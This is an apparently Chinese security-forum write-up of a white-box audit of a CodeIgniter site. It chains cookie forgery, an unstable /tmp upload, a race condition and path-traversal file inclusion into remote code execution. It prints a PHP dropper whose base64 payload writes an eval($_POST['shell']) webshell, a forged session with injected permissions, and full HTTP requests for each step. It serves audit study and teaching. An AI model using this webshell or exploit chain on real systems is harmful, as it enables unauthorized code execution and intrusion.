历史记录

    清空历史记录
    • 相关的动态
    • 相关的文章
    • 相关的用户
    • 相关的圈子
    • 相关的话题
    注册 登录
    记一次跌宕起伏的白盒审计到RCE
    cszeromirror 漏洞分析 14147浏览 · 2021-03-25 12:16

    在一次项目中，前期拿到了站点的源码，队里师傅白盒审出了一条曲折的利用链，现在对这条链的挖掘过程重新做一次复现并记录。

    这条链涉及经典漏洞包括： session 伪造、任意文件上传、条件竞争、文件包含，每一个漏洞都非常经典，串在一起变成了一个 big boom。

    前排说明：目标站点使用框架为 CodeIgniter，本文目的是技术研究和思路分享，涉及到关于目标站点的信息已被隐去，相关代码特征如变量、函数的命名也已替换，但代码的逻辑均保留，仍具备参考价值。

    找到上传点

    检索一遍没有发现明显的命令注入、代码注入。

    转而找上传或文件写入漏洞，主要关注 file_put_contents 和 move_uploaded_files 等函数

    在某一个上传接口 /uplaodController/uplaodMethod 中，找到如下代码段：

    $fileInput = $_FILES;
$targetPath = "/tmp/";
$file = $targetPath . basename($fileInput['uploadedFile']['name']);
move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);
$multipartParams = [
    ......
];
$result = apiRequest(
    'POST',
    ......
    $multipartParams
);
if (file_exists($file)) {
   unlink($file);
}

    代码的逻辑很清晰：

    1. 从 $_FILES 中提取出 uploadedFile 这个文件，保留上传时的文件名，并将其移动到 /tmp 目录下。
    2. 构造一个表单，其中 imageFile 参数即为第一步中被移动的文件，然后和其他参数一起 POST 向另一个接口。
    3. 经典“卸磨杀驴”，删除刚刚移动的文件。

    然后这里就算是一个 “不稳定” 的文件上传点，路径为 /tmp/[上传文件名]。

    利用场景也 “被迫” 地让我们想好了：需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争，在文件被删除之前包含它，来达到执行代码的效果。

    找文件包含

    目标是找到能控制文件路径的包含点，这里发现了一个 Meathods 类，它包含一个 method1 方法符合我们的需求。

    public function method1()
{
    header('Content-Type: application/json');
    $response = array();
    if ($this->input->is_ajax_request()) {
        $data = $this->input->post(null, true);
        if (empty($data)) {
            $data = $this->input->get(null, true);
        }
        $class = $data['class'];
        $method = $data['method'];
        if ($this->isMethodAllowed($method)) {
            unset($data['class']);
            unset($data['method']);
            $this->load->model($class);
            $response = $this->$class->$method($data);
        }
    }
    return;
}

    这部分逻辑也很清晰

    1. is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求，如果不是，则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点；
    2. 从 post 参数中获取请求的变量，如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性，在绕过 waf 方面能给我们提供更多选择)。
    3. 获取到对应的 $class 和 $method 之后，isMethodAllowed() 检查了被调用的方法是否被允许。
    4. 调用框架定义好的 this->load->model 方法来加载对应的类。

    避免有什么框架定义好的限制，有必要看一下 this->load->model 的逻辑。

    $this->load =& load_class('Loader', 'core');

    load_class() 函数是框架与定义的函数，它会去对应的路径包含对应的文件，并加载其中的类，这样我们就找到了 this->load，也就有了 model 函数的代码：

    public function model($model, $name = '', $db_conn = FALSE)
{
    $path = '';
    if (($last_slash = strrpos($model, '/')) !== FALSE)
    {
        $path = substr($model, 0, $last_slash + 1);
        $model = substr($model, $last_slash + 1);
    }
    if ($name == '')
    {
        $name = $model;
    }
    $CI =& get_instance();
    $model = strtolower($model);
    foreach ($this->_ci_model_paths as $mod_path)
    {
        if ( ! file_exists($mod_path.'models/'.$path.$model.'.php'))
        {
            continue;
        }
        // 这里的 require_once 可以被利用来文件包含
        require_once($mod_path.'models/'.$path.$model.'.php');
        $CI->$name = new $model();
        return;
    }
    ......
}

    开发常见的问题，相信了用户的输入，没有对输入进行足够的过滤，这个函数没有对传入的参数 $model 做严格的过滤，导致可以通过 "../" 进行目录穿越，从而可以实现对任意文件的包含。

    那么再回到调用 model 的地方再看：

    $this->load->model($class);
$response = $this->$class->$method($data);

    实例化了目标类之后，还调用了相应的方法，可谓非常贴心了。

    尝试利用

    从目前已经掌握的漏洞点出发，已经可以构思出这个漏洞的利用方式，首先准备一个恶意的 php 文件准备上传：

    <?php
class TempClass{
    function __construct(){
        print('in __construct()\n');
        file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));        
    }
    function getData1($params){
        print('in getData1()\n');
    }
}

    包含这个恶意文件并实例化 TempClass 时，会调用构造函数写入一个 /tmp/TempClass2.php，内容为：

    <?php
class TempClass2{
    function __construct(){
       print('in __contruct\n');
       eval($_POST['shell']);
    }
    function getData1($params){
       print('in getData1');
       var_dump($params);
    }
}

    那么，接下来需要找到这个上传的入口，在一处 js 中找到了对应的代码：

    $('.form-file').on('change', function () {
    ......
    $(formId + '.form-uplaod').val(file[0].name);
    var formData = new FormData();
    formData.append('uploadedFile', file[0]);
    ......
});
......
context.methodsCall = function(formData) {
    ......
    $.ajax({
        url: '/uplaodController/uplaodMethod/',
        type: 'POST',
        data: formData,
        dataType: 'json',
        ......
        success: function (data) {
            ......
        }
    });
}

    从前端页面找到这个接口似乎不太方便，但是从 js 的逻辑中构建出请求包倒也不困难。

    只是遗憾的是，尝试访问之后发现这个上传接口不能随意访问，所以还得从程序入口开始审计哪里做了鉴权。

    找到鉴权

    代码定义了 Hooks 类，在对每一个控制器的进行操作前，都会先调用若干个 hooks 中定义的方法，其中和鉴权相关的方法位于：hooks/auth.php

    鉴权相关的函数为 permissionCheck()：

    function permissionCheck() {
    ......
    $user = $CI->load->get_var('auth_user');
    $permissions = $user['permissions'];
    ......
    if (! in_array($action, $allow)) {
        if (! isset($permissions[$controller][$action])) {
            ......
            redirect('permissions/unauthorized');
        }
    }
}

    这里可以看到，我们想要调用的方法，需要在 $user['permissions'] 中被指定，$user 从 $CI->load->get_var('auth_user') 中来，auth_user 刚好在另一个 hooks 方法 loginCheck() 中被设置。

    function loginCheck() {
    ......
    if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {
        redirect('users/login');
    }
    elseif ($CI->session->userdata('logged_in')) {
        $user = new User;
        $user = $user->findUserById($CI->session->userdata('logged_in'));
        if (empty($user)) {
            $CI->session->destroySess();
            redirect('users/login');
        }
        elseif (empty($user['permissions'])) {
            $CI->session->destroySess();
            redirect('users/login');
        }
        else {
            $CI->session->setUserdata('user', $user);
            $CI->load->vars('auth_user', $user);
        }
        if ($CI->router->method == 'login') redirect('users');
    }
}

    直接来看 elseif 部分，对于已经登陆的用户，会根据用户 id 用 findUserById() 到数据库中查询相应的信息，其中包含一个 permissions 字段，似乎看到了我们想要的东西，之后又将用户信息用 $CI->load->vars 设置为一个 auth_user 变量，也就是 permissionCheck() 函数中参数的来源，

    来看一下 findUserById() 具体操作了哪些数据库：

    public function findUserById($id = null) {
    if ($id) {
        $q = Doctrine_Query::create()
            ->from('User u')
            ->leftJoin('u.Role r')
            ->leftJoin('r.Permission p')
            ->leftJoin('u.Sessions s')
            ->where('u.id = ?', $id);
        $user = $q->fetchOne();
        Doctrine_Manager::connection()->close();
        if (empty($user)) {
            return array();
        }
        else {
            $user = $user->toArray();
            $permissions = array();
            if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {
                foreach ($user['Role']['Permission'] as $permission) {
                    $permissions[$permission['controller']][$permission['action']] = $permission['id'];
                }
            }
            $customData = $this->_unserialize($user['user_data']);
            array_merge($permisssions, $customData['permission']);
            $user['permissions'] = $permissions;
            return $user;
        }
    }
    else {
        return array();
    }
}

    跟踪 findUserById() 的逻辑发现，主要进行了数据库查询操作，但是对于 $permissions，还有一部分来自 session 相关的数据库。

    session 伪造

    常规数据库可能没办法直接修改，但是 session 数据库也许会伴随用户状态的改变而修改，那么如果 session 数据库中的信息可控，也可以达到我们的目的。

    在 Session.php 中可以找到对 cookie 的相应操作。

    if ( ! $this->readSess())
{
    $this->createSess();
}
else
{
    $this->updateSess();
}
$this->markFlashdata();

    首先看一下 readSess() 函数

    function readSess()
{
    $session = $this->CI->input->cookie($this->sess_cookie_name);
    ...... （省略部分校验逻辑）
    if ($this->sess_encrypt_cookie == TRUE)
    {
        $session = $this->CI->encrypt->decode($session);
    }
    $session = $this->_unserialize($session);
    ......(校验 User-Agent / IP / last_activity 相关)
    if ($this->sess_use_database === TRUE)
    {
        ......(通过数据库校验 User-Agent / IP / last_activity 相关)
        $query = $this->CI->db->get($this->sess_table_name);
        ......
        $row = $query->row();
        if (isset($row->user_data) AND $row->user_data != '')
        {
            $customData = $this->_unserialize($row->user_data);
            if (is_array($customData))
            {
                foreach ($customData as $key => $val)
                {
                    $session[$key] = $val;
                }
            }
        }
    }
    $this->userdata = $session;
    unset($session);
    return TRUE;
}

    看起来都是常规的操作，

    1. 首先校验了 cookie 的合法性，在设置 cookie 时就用了尾部的签名了来做校验；(这部分逻辑在代码中省略)
    2. 紧接着判断 cookie 中的其他特征，UA、ip 地址、过期时间等等是否合法；
    3. 最后还有一些用户自定义的数据，这些自定义数据先从数据库中取得的，也被放到了 $session 变量中。

    然而 $session 变量最开始却是从这里来的：$session = $this->_unserialize($session);

    当然这里似乎还有潜在的反序列化漏洞，不过暂且先不关注。 $session 最后在 $this->userdata = $session; 所以，如果我们直接在 cookie 中构造相应的数据结构，当它被反序列化到 $session 变量后，仍然可以被保存到 userdata 中。

    紧接着 readSess() 之后， markFlashdata() 中调用了 setUserdata() 更新 $userdata，更进一步调用 writeSess() 写入到数据库中，

    function setUserdata($newdata = array(), $newval = '')
{
    if (count($newdata) > 0)
    {
        foreach ($newdata as $key => $val)
        {
            $this->userdata[$key] = $val;
        }
    }
    $this->writeSess();
}

    然后是 writeSess()，这里将 $userdata 做了分类处理，并写入了数据库

    function writeSess()
{
    ......
    $customUserdata = $this->userdata;
    $cookieUserdata = array();
    foreach (array(.....) as $val)
    {
        unset($customUserdata[$val]);
        $cookieUserdata[$val] = $this->userdata[$val];
    }
    $customUserdata = $this->_serialize($customUserdata);
    $this->CI->db->where('session_id', $this->userdata['session_id']);
    $this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));
    ......
}

    调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中，这也是我们想要操作的数据。

    接下来就要着手伪造 cookie 了，本地执行对应的加解密算法。

    加密部分：

    function encode($string, $key = '')
{
    $key = $this->get_key($key);
    $enc = $this->cryptEncode($string, $key);
    return base64_encode($enc);
}

    解密部分：

    function decode($string, $key = '')
{
    $key = $this->getKey($key);
    if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))
    {
        return FALSE;
    }
    $dec = base64_decode($string);
    if (($dec = $this->cryptDecode($dec, $key)) === FALSE)
    {
        return FALSE;
    }
    return $dec;
}

    $key 可以在配置文件中拿到。

    具体 cryptDecode() 和 cryptEncode() 的代码很长，此处省略。

    正式攻击

    首先用已经掌握的低权限账号密码登陆，登陆之后会得到一个已经 "logged_in" 的 cookie。

    例如：

    ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2

    解密之后：

    a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}

    给这个序列化字符串加一点东西上去：

    a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}

    然后调用加密函数再生成新的 cookie:

    ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07

    具体利用过程中用到的请求包：

    第一步： 利用伪造的 cookie 进行上传

    part1：

    POST /uplaodController/uplaodMethod HTTP/1.1
    ......
    Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
    Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac
    Content-Length: xxx

    --------------------------85a71e8a43af37ac
    Content-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"
    Content-Type: image/png

    <?php
    class TempClass{
    function construct(){
    print('in     construct()\n');
    file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
    }
    function getData1($params){
    print('in getData1()\n');
    }
    }
    ?>
    --------------------------85a71e8a43af37ac--

    第二部，因为需要条件竞争，可以考虑把这个上传包放到 intruder 里重放个几百次，然后在上传的过程中，去尝试包含 /tmp/TempClass.php ，来达到竞争的效果。

    part2:

    POST /Meathods/method1 HTTP/1.1
    ......
    Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
    Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac
    Content-Length: 314

    --------------------------85a71e8a43af37ac
    Content-Disposition: form-data; name="class"

    ../../../../../../../../../../../../../../../../../../../../tmp/TempClass
    --------------------------85a71e8a43af37ac
    Content-Disposition: form-data; name="method"

    getData1
    --------------------------85a71e8a43af37ac--

    第三步，一旦包含成功，那么在实例化 TempClass 的时候，会写入一个新的 TempClass2，这下可没有代码会去 unlink 它了，可以被稳定的利用。

    part3:

    POST /Meathods/method1 HTTP/1.1
    ......
    Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
    Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac
    Content-Length: 433

    --------------------------85a71e8a43af37ac
    Content-Disposition: form-data; name="class"

    ../../../../../../../../../../../../../../../../../../../../tmp/TempClass2
    --------------------------85a71e8a43af37ac
    Content-Disposition: form-data; name="method"

    getData1
    --------------------------85a71e8a43af37ac
    Content-Disposition: form-data; name="shell"

    var_dump("hello,world");
    --------------------------85a71e8a43af37ac--

    OK, 打完收工。

    review

    稍微来总结一下整条利用链：

    1. 找到文件上传 -> 一个 “不稳定” 的文件上传
    2. 找文件包含 -> 目录穿越导致任意文件包含
    3. 条件竞争 -> 结合 1、2 条件竞争获得 RCE
    4. 找权限控制 -> 伪造 cookie 得到任意接口的访问权限
    2 人收藏 0 人喜欢 转载 分享
    0 条评论
    某人
    表情
    可输入 255 字
      发布投稿
    热门文章
    优秀作者
    目录
    先知社区
    本站/app由 Djingoii 提供技术和产品支持